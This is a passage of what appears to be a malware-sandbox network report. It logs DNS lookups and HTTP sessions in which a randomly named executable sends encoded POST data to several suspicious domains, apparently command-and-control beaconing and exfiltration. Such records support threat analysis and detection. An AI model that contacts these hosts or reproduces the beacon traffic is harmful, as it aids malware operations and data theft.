Oct 8, 2024 15:25:00.652039051 CEST	1.1.1.1	192.168.11.20	0xa967	No error (0)	wiretap.digital		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:25:13.920103073 CEST	1.1.1.1	192.168.11.20	0xbc7d	No error (0)	www.notepad.mobi		199.59.243.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.online-dating28.xyz

www.cptsdisme.info

www.uky09q.vip

www.jcblessings.shop

www.abuali-contracting.art

www.webeuz.buzz

www.onlineblikje.online

www.cotxot.info

www.happyblacksheep.xyz

www.airrelax.fun

www.bdipjg.asia

www.energy-market.net

www.chrisflynn.click

www.wiretap.digital

www.notepad.mobi

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49737	199.59.243.227	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:20:20.097307920 CEST	537	OUT	GET /j89h/?dX7=sns4Fhmpql&6v1=t39zGyvYmujPNlbc44MTbwagsnz+runAgyc0uTb+2KFfpU4FdXsWzq5grOKfcMMqBbgb86jYKVfh1bYb1KKDox1al7BagiI6ozFTdi6nFGMEe7mc+uR20u4= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.online-dating28.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:20:20.200261116 CEST	1289	IN	HTTP/1.1 200 OK date: Tue, 08 Oct 2024 13:20:19 GMT content-type: text/html; charset=utf-8 content-length: 1470 x-request-id: 58012212-1b8b-4f89-898b-3698adea8357 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JlBKlnzcfKqUdYs8AeoNpFEwB/faWInrVnzTRkgSHWfl9SsoJS5KUnSMZ4wDfk+7rAQ3MX2Nk39e7gyCuoto3A== set-cookie: parking_session=58012212-1b8b-4f89-898b-3698adea8357; expires=Tue, 08 Oct 2024 13:35:20 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 6c 42 4b 6c 6e 7a 63 66 4b 71 55 64 59 73 38 41 65 6f 4e 70 46 45 77 42 2f 66 61 57 49 6e 72 56 6e 7a 54 52 6b 67 53 48 57 66 6c 39 53 73 6f 4a 53 35 4b 55 6e 53 4d 5a 34 77 44 66 6b 2b 37 72 41 51 33 4d 58 32 4e 6b 33 39 65 37 67 79 43 75 6f 74 6f 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JlBKlnzcfKqUdYs8AeoNpFEwB/faWInrVnzTRkgSHWfl9SsoJS5KUnSMZ4wDfk+7rAQ3MX2Nk39e7gyCuoto3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Oct 8, 2024 15:20:20.200388908 CEST	870	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTgwMTIyMTItMWI4Yi00Zjg5LTg5OGItMzY5OGFkZWE4MzU3IiwicGFnZV90aW1lIjoxNzI4MzkzNjIwLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub25saW5lLWRhdGluZzI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49739	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:08.654428959 CEST	797	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 4f 37 75 54 55 77 41 52 2b 48 4e 50 53 61 48 6e 35 7a 71 35 4e 50 47 48 73 6a 65 68 30 66 76 77 61 6f 72 48 72 72 78 35 61 72 33 36 47 35 48 32 66 64 76 37 4e 49 6e 75 54 31 43 45 64 31 50 54 6d 5a 4c 4a 79 4d 62 65 2b 4b 4a 4a 4e 73 37 53 33 46 6e 41 73 61 4e 62 79 56 2f 47 78 2f 59 64 36 6d 78 63 74 4c 47 67 50 35 79 73 46 6f 47 35 55 61 54 47 65 61 72 63 38 37 38 74 33 75 6a 33 5a 55 74 56 57 4a 2f 67 73 70 74 4d 6f 59 74 31 58 53 31 64 79 63 30 31 30 54 6d 36 73 61 66 4c 45 50 6e 79 58 74 43 39 49 55 39 6b 6c 68 46 43 49 36 75 59 67 3d 3d Data Ascii: 6v1=WI3goMwO1IoXnO7uTUwAR+HNPSaHn5zq5NPGHsjeh0fvwaorHrrx5ar36G5H2fdv7NInuT1CEd1PTmZLJyMbe+KJJNs7S3FnAsaNbyV/Gx/Yd6mxctLGgP5ysFoG5UaTGearc878t3uj3ZUtVWJ/gsptMoYt1XS1dyc010Tm6safLEPnyXtC9IU9klhFCI6uYg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49740	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:11.285831928 CEST	817	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 75 4c 75 41 6c 77 41 57 65 48 4d 4b 53 61 48 74 5a 7a 75 35 4e 4c 47 48 75 50 4f 69 47 4c 76 77 37 59 72 57 65 4c 78 31 36 72 33 69 57 35 43 35 2f 63 74 37 4d 31 61 75 53 4a 43 45 63 52 50 54 6d 70 4c 4a 68 6b 59 64 4f 4b 4c 63 64 73 35 57 33 46 6e 41 73 61 4e 62 79 78 42 47 78 58 59 64 71 32 78 54 6f 2f 5a 74 76 35 7a 38 56 6f 47 79 30 61 58 47 65 62 34 63 39 6d 70 74 30 47 6a 33 59 6b 74 56 48 4a 2b 75 73 70 76 44 49 5a 74 31 55 72 70 58 7a 34 2f 37 48 44 31 77 4f 65 36 48 79 65 39 76 6c 5a 6d 2b 62 49 50 67 56 59 74 41 4b 37 31 46 6a 57 63 79 78 59 57 67 39 4d 2f 52 42 34 74 65 7a 44 6c 76 51 6b 3d Data Ascii: 6v1=WI3goMwO1IoXnuLuAlwAWeHMKSaHtZzu5NLGHuPOiGLvw7YrWeLx16r3iW5C5/ct7M1auSJCEcRPTmpLJhkYdOKLcds5W3FnAsaNbyxBGxXYdq2xTo/Ztv5z8VoGy0aXGeb4c9mpt0Gj3YktVHJ+uspvDIZt1UrpXz4/7HD1wOe6Hye9vlZm+bIPgVYtAK71FjWcyxYWg9M/RB4tezDlvQk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49741	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:13.925614119 CEST	1289	OUT	POST /trcp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cptsdisme.info Origin: http://www.cptsdisme.info Referer: http://www.cptsdisme.info/trcp/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 75 4c 75 41 6c 77 41 57 65 48 4d 4b 53 61 48 74 5a 7a 75 35 4e 4c 47 48 75 50 4f 69 47 54 76 77 4a 38 72 45 49 44 78 32 36 72 33 72 32 35 44 35 2f 63 73 37 4e 63 64 75 53 45 33 45 66 35 50 56 31 52 4c 59 67 6b 59 47 65 4b 4c 44 74 73 36 53 33 46 75 41 6f 2b 33 62 79 42 42 47 78 58 59 64 6f 65 78 58 39 4c 5a 76 76 35 79 73 46 6f 4b 35 55 61 76 47 65 43 4e 63 39 53 35 74 6c 6d 6a 33 34 30 74 58 78 56 2b 6d 73 70 58 50 6f 5a 44 31 56 58 41 58 77 63 4a 37 44 4c 66 77 4a 43 36 48 31 37 2f 77 68 64 36 36 62 77 45 39 32 30 57 4c 70 72 59 4b 78 65 70 31 51 77 33 6d 39 49 6b 4f 6e 67 62 50 7a 48 30 74 6c 2b 2f 6d 45 4b 78 41 51 6b 45 44 41 32 57 54 46 57 34 61 71 38 37 4e 50 43 67 71 37 67 61 38 30 41 70 65 4a 75 57 59 44 5a 30 31 47 50 36 4e 55 6e 30 38 7a 41 62 75 7a 79 35 65 46 4b 62 37 54 6e 2b 2f 4f 2b 48 74 7a 44 76 55 47 6c 44 71 6d 68 6e 2b 76 59 78 41 6b 62 4f 44 64 6a 50 35 64 2f 59 38 55 5a 50 78 76 47 4f 36 56 48 48 62 41 43 76 37 59 4c 55 47 75 [TRUNCATED] Data Ascii: 6v1=WI3goMwO1IoXnuLuAlwAWeHMKSaHtZzu5NLGHuPOiGTvwJ8rEIDx26r3r25D5/cs7NcduSE3Ef5PV1RLYgkYGeKLDts6S3FuAo+3byBBGxXYdoexX9LZvv5ysFoK5UavGeCNc9S5tlmj340tXxV+mspXPoZD1VXAXwcJ7DLfwJC6H17/whd66bwE920WLprYKxep1Qw3m9IkOngbPzH0tl+/mEKxAQkEDA2WTFW4aq87NPCgq7ga80ApeJuWYDZ01GP6NUn08zAbuzy5eFKb7Tn+/O+HtzDvUGlDqmhn+vYxAkbODdjP5d/Y8UZPxvGO6VHHbACv7YLUGuOxP7u0l185FhmOmQrePQTsWby/6vDDO7syDHRoZgWgnQrOEI7Q7i44Bp5RTmdOSlcXKO09Xpr6Or9Zx3ppfCW3+3yrfktD5WV0U5GObRDqQeN/7XEWoFBNVn/hDk7SjOSBZrC3Fs0wOOJk1Gqs3liM1Ictqtol7EvQMw4HckQCRhMYkBhA0sokxscvMzBbAIX3w/KNOZ3yvnadkgGFeznJxGZYb40XaErp9zGjMyRdmM/f3jDM8uN9DzqLNyu7s89Qt7hNZvNgHwo5Cre/6Rys7lcidqEiZoxX6JkSOcwbiE8zXoaLicPEEYiyr1hQrgJxpimQZ6XTYzcCv18et1fvSptZZPcUpL2
Oct 8, 2024 15:22:13.925662041 CEST	3867	OUT	Data Raw: 62 33 66 38 5a 30 6b 55 49 79 75 41 4e 4b 36 44 4c 67 56 43 78 63 45 74 75 44 77 75 58 50 64 30 77 34 47 61 6e 6a 38 6b 52 31 4e 35 35 65 36 32 72 65 58 69 71 41 67 4b 4d 54 64 53 72 42 32 43 73 65 62 63 64 46 52 68 4a 4c 4d 4a 41 38 4a 73 4c 73 Data Ascii: b3f8Z0kUIyuANK6DLgVCxcEtuDwuXPd0w4Ganj8kR1N55e62reXiqAgKMTdSrB2CsebcdFRhJLMJA8JsLsqbWWvhco5cH9z4GjRu9/oPfBSt2TcxxT652nWf0+EwFQJbM/fjU1ushUVQ5beZ98XNwwagS4Ejflsg8TSnxNFWL+jwX2mar2WFcqoPeqodnmbuOvPRDm7sEQ6kCvVJuYmq2J1IhMZcGi6ai+hz2bi5M+bBc3i6kfM
Oct 8, 2024 15:22:13.925710917 CEST	2810	OUT	Data Raw: 32 36 59 49 32 2f 52 32 72 33 56 62 79 51 2f 32 2f 6c 33 42 32 75 55 66 68 68 34 66 65 62 56 6e 69 74 78 4a 65 41 78 32 78 4e 37 71 30 49 67 36 71 67 4e 46 57 63 58 37 51 6a 61 37 67 56 45 6c 49 53 73 4e 46 58 2f 4f 6c 73 4a 71 59 39 38 77 51 59 Data Ascii: 26YI2/R2r3VbyQ/2/l3B2uUfhh4febVnitxJeAx2xN7q0Ig6qgNFWcX7Qja7gVElISsNFX/OlsJqY98wQYgw4Z+isDYDABkjb3RNa2370mRDvAZ4k5Ll0nvBRyzjsawZS3R0gF1GkKTPoptH4yFWh28VB+n+um7ECudD/fqLZPvk3aBmfBLO32eXY2qNzrewSVP/z6r/2D7tNW7rd+65dJwqZWzzm24139wbIUwyurQDJTX3eiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49742	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:16.562722921 CEST	532	OUT	GET /trcp/?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.cptsdisme.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:22:16.684779882 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:22:16 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 62 4b 66 41 72 37 73 76 35 49 59 31 70 74 7a 6d 44 56 35 77 55 6f 32 69 44 53 71 65 36 37 72 55 37 35 62 66 65 65 6e 6f 73 67 65 75 76 64 67 75 4c 36 66 58 38 36 71 43 72 30 77 41 79 34 59 52 39 74 5a 5a 35 7a 35 34 4f 6f 42 79 46 48 5a 4a 65 32 38 61 4b 62 43 6c 46 65 4a 31 55 45 35 4c 65 66 6e 57 62 41 77 69 45 77 6a 4e 45 59 6d 49 51 74 71 5a 30 75 6b 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49743	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:21.908663034 CEST	785	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 67 45 58 59 34 62 77 54 34 63 56 69 79 63 39 33 46 36 55 49 6b 62 6f 7a 4e 36 5a 39 53 78 58 32 2b 56 53 63 6f 31 46 75 33 78 59 68 64 33 7a 34 74 6f 43 49 31 34 7a 31 4c 53 48 57 6c 6e 48 63 74 2b 75 58 42 38 4f 72 4e 33 63 61 74 67 67 54 39 34 68 56 6a 46 67 4f 65 32 71 53 63 64 55 62 49 34 6d 68 7a 67 72 39 6b 67 63 67 58 7a 6f 6d 39 6e 63 6c 48 47 6c 4a 4b 77 58 34 77 64 5a 4b 36 49 37 6b 31 44 72 4f 62 79 36 39 46 30 56 69 59 71 36 33 62 6e 4b 69 61 35 61 65 4c 76 53 32 54 70 58 51 6b 54 36 51 4a 4c 32 2b 41 2f 39 57 56 4e 4e 30 31 51 3d 3d Data Ascii: 6v1=z62xfISa3qcWgEXY4bwT4cViyc93F6UIkbozN6Z9SxX2+VSco1Fu3xYhd3z4toCI14z1LSHWlnHct+uXB8OrN3catggT94hVjFgOe2qScdUbI4mhzgr9kgcgXzom9nclHGlJKwX4wdZK6I7k1DrOby69F0ViYq63bnKia5aeLvS2TpXQkT6QJL2+A/9WVNN01Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49744	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:24.547811985 CEST	805	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 68 6e 66 59 72 72 4d 54 70 73 56 6c 39 38 39 33 4c 61 55 32 6b 62 6b 7a 4e 2f 35 58 53 44 44 32 35 33 4b 63 36 6d 64 75 30 78 59 68 56 58 7a 48 77 34 43 48 31 34 2f 54 4c 58 2f 57 6c 6e 54 63 74 36 71 58 42 50 6e 39 4e 6e 63 59 34 77 67 52 6c 59 68 56 6a 46 67 4f 65 33 4f 30 63 64 4d 62 55 59 32 68 7a 42 72 79 36 51 63 6e 48 6a 6f 6d 35 6e 63 68 48 47 6b 6b 4b 78 4c 65 77 65 78 4b 36 4e 66 6b 32 52 54 4a 51 79 36 37 4b 55 56 79 4a 34 54 51 56 33 4b 74 55 49 48 47 53 63 75 55 66 66 47 4b 35 68 4f 30 4b 59 71 4d 45 50 45 2b 58 50 4d 76 6f 64 64 4e 6d 50 58 49 77 37 61 4a 36 51 33 78 57 31 4e 4e 41 4d 30 3d Data Ascii: 6v1=z62xfISa3qcWhnfYrrMTpsVl9893LaU2kbkzN/5XSDD253Kc6mdu0xYhVXzHw4CH14/TLX/WlnTct6qXBPn9NncY4wgRlYhVjFgOe3O0cdMbUY2hzBry6QcnHjom5nchHGkkKxLewexK6Nfk2RTJQy67KUVyJ4TQV3KtUIHGScuUffGK5hO0KYqMEPE+XPMvoddNmPXIw7aJ6Q3xW1NNAM0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49745	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:27.196217060 CEST	1289	OUT	POST /5odm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.uky09q.vip Origin: http://www.uky09q.vip Referer: http://www.uky09q.vip/5odm/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 7a 36 32 78 66 49 53 61 33 71 63 57 68 6e 66 59 72 72 4d 54 70 73 56 6c 39 38 39 33 4c 61 55 32 6b 62 6b 7a 4e 2f 35 58 53 43 37 32 35 43 65 63 6f 58 64 75 31 78 59 68 62 33 7a 38 77 34 43 67 31 34 6e 58 4c 58 37 67 6c 6b 72 63 76 66 2b 58 4a 65 6e 39 47 6e 63 59 67 41 67 53 39 34 68 45 6a 46 77 4b 65 32 2b 30 63 64 4d 62 55 64 79 68 30 51 72 79 34 51 63 67 58 7a 6f 36 39 6e 63 4a 48 47 73 61 4b 78 50 6f 78 75 52 4b 36 74 50 6b 36 45 48 4a 4d 69 36 35 4e 55 55 74 4a 34 50 50 56 7a 72 57 55 49 43 6a 53 65 4f 55 63 4b 6a 50 68 78 36 79 58 4c 32 67 4a 4c 4d 5a 41 50 51 77 33 76 78 75 75 74 48 49 36 4e 43 71 6b 48 50 59 47 56 59 4f 44 4c 49 55 34 75 6f 59 72 2b 52 4a 50 5a 41 49 39 76 65 50 7a 59 49 76 35 4a 42 71 71 2b 67 62 65 43 68 4c 63 2f 69 78 75 46 57 78 33 35 58 62 38 54 65 69 65 38 59 30 31 74 70 6f 79 56 6c 54 46 61 36 76 30 42 39 31 47 4f 2f 5a 74 49 79 4b 51 6d 6d 51 52 52 39 59 79 2b 53 54 54 77 63 4b 4e 55 39 4f 31 57 59 4d 36 31 69 6f 61 61 41 47 77 4b 46 78 56 52 36 6a 52 64 [TRUNCATED] Data Ascii: 6v1=z62xfISa3qcWhnfYrrMTpsVl9893LaU2kbkzN/5XSC725CecoXdu1xYhb3z8w4Cg14nXLX7glkrcvf+XJen9GncYgAgS94hEjFwKe2+0cdMbUdyh0Qry4QcgXzo69ncJHGsaKxPoxuRK6tPk6EHJMi65NUUtJ4PPVzrWUICjSeOUcKjPhx6yXL2gJLMZAPQw3vxuutHI6NCqkHPYGVYODLIU4uoYr+RJPZAI9vePzYIv5JBqq+gbeChLc/ixuFWx35Xb8Teie8Y01tpoyVlTFa6v0B91GO/ZtIyKQmmQRR9Yy+STTwcKNU9O1WYM61ioaaAGwKFxVR6jRdYcM0J51qPKJhL01GBKtmTZM35n/w4FoKb9OJZnpEJfbHNp9o3lf1ewMw+QLiB8VVezeHvkddblCVoGMrN3SXccN6mN3+g4faR0cCENdkccgTaL1g6HExfvdIw5BhYH3hrP+zH7Uh2745scWXUWp/BBVjoXmtNQtVE4fmdFmwYRYwrbA0GnWyCY/iP++KQR5+WRa0OdMOBZL8uClTlDzb+iRc87iOFvOaXmTzW3K7SiUU8ePKE4ubG0Ds+caJEvPn0E23xNoP28CJd69Uo2t5tUQQRqxf0inKq5gP58MeI0Y9AgE2HXwfAnl8oeUbXUGtSXeCGv6kBudkO/+ePgdt0M5Mkwl7RB0JSQv9tI6l8GtJ+
Oct 8, 2024 15:22:27.196258068 CEST	1289	OUT	Data Raw: 31 69 39 45 6a 4c 56 78 74 5a 4b 50 55 67 2b 79 78 77 41 7a 4a 43 64 70 6d 46 79 2b 49 6f 31 74 36 37 42 79 38 62 61 35 35 76 76 33 63 56 56 51 45 68 4c 73 2f 6a 6d 73 75 66 49 34 6d 51 7a 45 78 32 74 52 6c 44 61 4a 63 33 4d 45 68 38 53 65 6b 2b Data Ascii: 1i9EjLVxtZKPUg+yxwAzJCdpmFy+Io1t67By8ba55vv3cVVQEhLs/jmsufI4mQzEx2tRlDaJc3MEh8Sek+Vzj+q4ZGBB5+zt9/QPJ8FH1aodszsVs7fQ/G5/UlzhMeSLOYZ2Z/xdxaYCF4hV/suZ38Z25GbhS4ijmoi+KtqbfwwH5bhBnYDeMm6d55KJdnM3xTN6vaphigYG7rrlEPKFveII6XMIDdnF2LaF/PBvlfO9bOgoZ8T
Oct 8, 2024 15:22:27.196310043 CEST	5376	OUT	Data Raw: 41 65 64 54 43 72 39 51 70 47 66 2b 69 65 54 35 38 59 6b 6a 70 4b 41 4f 64 6f 5a 58 32 52 66 2b 68 43 46 36 38 55 66 67 53 4b 64 4a 31 6d 59 76 6b 62 61 63 39 74 68 71 4e 72 6d 6f 4a 4f 36 36 67 7a 31 7a 2b 2f 76 56 75 38 68 51 75 7a 52 78 71 53 Data Ascii: AedTCr9QpGf+ieT58YkjpKAOdoZX2Rf+hCF68UfgSKdJ1mYvkbac9thqNrmoJO66gz1z+/vVu8hQuzRxqSj82epvXtOn5BlFlJAzQDAcEC/OY1yp5QZgCCYmS4g0OKoL3LwiAt15D2C+kX0kmD35rpHRrcSlWgps8cMsQqa1FVx/g94lWo6raz50M2yLNE51RAPam+EtNHeEaDX72HrpmG/0sJWvMQ+pWhwR5nPgWW84ogukEU5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
